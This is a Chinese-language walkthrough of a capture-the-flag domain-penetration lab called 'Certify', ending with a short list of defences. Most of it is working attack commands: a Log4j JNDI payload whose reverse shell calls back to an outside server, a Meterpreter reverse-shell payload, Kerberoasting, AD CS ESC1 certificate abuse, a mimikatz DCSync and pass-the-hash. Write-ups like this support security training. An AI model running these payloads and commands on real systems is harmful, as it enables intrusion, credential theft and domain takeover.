记一次春秋云镜域渗透靶场Certify
字数 1472 2025-08-25 22:58:29
域渗透靶场Certify实战教学文档
靶场概述
Certify是一套中等难度的域渗透靶场环境,包含4个分布于不同靶机的flag。该靶场涵盖了内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术,重点强化对域环境核心认证机制的理解。
技术涉及点
- Solr RCE (Log4j漏洞利用)
- AD CS (Active Directory证书服务)攻击
- SMB共享利用
- Kerberos协议攻击
- 域渗透技术
外网打点
1. 信息收集
发现目标系统开放服务:
- SSH服务
- 80端口Nginx默认页面
- SolrAdmin管理界面(8983端口)
2. Solr Log4j RCE利用
步骤:
- 确认Solr使用存在漏洞的Log4j组件
- 准备JNDI反弹shell工具:
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i yourVPS - 开启监听:
nc -lnvp 80 - 发送恶意请求触发漏洞:
GET /solr/admin/cores?action=${jndi:ldap://119.91.26.244:1389/Basic/ReverseShell/119.91.26.244/80} HTTP/1.1 Host: 47.92.242.84:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
3. 提权获取flag01
- 检查sudo权限:
sudo -l - 发现可使用grc命令:
sudo grc --help - 查找flag:
sudo grc --pty find / -name flag* - 获得flag01
内网渗透准备
1. 建立Meterpreter会话
- 生成Linux Meterpreter payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=yourVPS LPORT=443 -f elf -o shellrawss - 开启HTTP服务传输payload:
python3 -m http.server - MSF设置监听:
use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST yourVPS set LPORT 443 run - 目标机下载并执行payload获取会话
2. 内网信息收集
- 上传fscan进行内网扫描:
./fscan_386 -h 172.22.9.0/24 >> fscan.txt - 扫描结果:
- 172.22.9.19: 入口IP
- 172.22.9.7: 域控制器DC
- 172.22.9.26: 域成员
- 172.22.9.47: 文件服务器
- 172.22.9.13: CA服务器
3. SMB共享利用获取flag02
- 使用nmap扫描SMB服务:
proxychains nmap -sT -A -Pn 172.22.9.47 >> nmap01.txt - 访问SMB共享:
proxychains smbclient \\\\172.22.9.47\\filesharedir - 下载文件:
get personnel.db get secret\flag02.txt - 获得flag02
域渗透进阶
1. Kerberoast攻击
- 从personnel.db获取用户名和密码
- RDP爆破尝试:
proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns - 使用GetUserSPNs.py寻找SPN:
proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian - 使用hashcat破解:
hashcat64.exe -m 13100 1.txt rockyou.txt - 获得凭证:zhangxia/MyPass2@@6
- 远程登录:
rdesktop 172.22.9.26
2. AD CS ESC1攻击
-
使用Certify.exe定位漏洞:
Certify.exe find /vulnerable -
确认ESC1利用前提条件:
- msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
- PkiExtendedKeyUsage: Client Authentication
- Enrollment Rights: NT Authority\Authenticated Users
-
为域管申请证书:
Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator -
转换证书格式:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx -
请求TGT并PTT:
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
3. 获取域管权限
- 上传mimikatz导出哈希:
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit - 获得域管哈希:2f1b57eefb2d152196836b0516abea80
4. 横向移动获取flag03
- 哈希传递攻击:
proxychains crackmapexec smb 172.22.9.26 -u administrator -H 2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" - 获得flag03
5. 攻击域控制器获取flag04
- 使用WMI执行命令:
proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7 - 获得flag04
关键知识点总结
- Log4j漏洞利用:通过JNDI注入实现RCE
- 内网代理:使用socks5代理和proxychains工具链
- 信息收集:fscan和nmap在内网扫描中的应用
- Kerberoast攻击:通过SPN获取服务账户哈希进行破解
- AD CS攻击:利用证书模板漏洞获取域管权限
- 横向移动技术:哈希传递、WMI远程执行等
防御建议
- 及时更新Log4j等存在漏洞的组件
- 限制证书模板的权限,特别是ENROLLEE_SUPPLIES_SUBJECT属性
- 监控异常证书申请行为
- 启用SMB签名防止哈希传递攻击
- 限制域管理员等高权限账户的登录范围
- 定期审计SPN和服务账户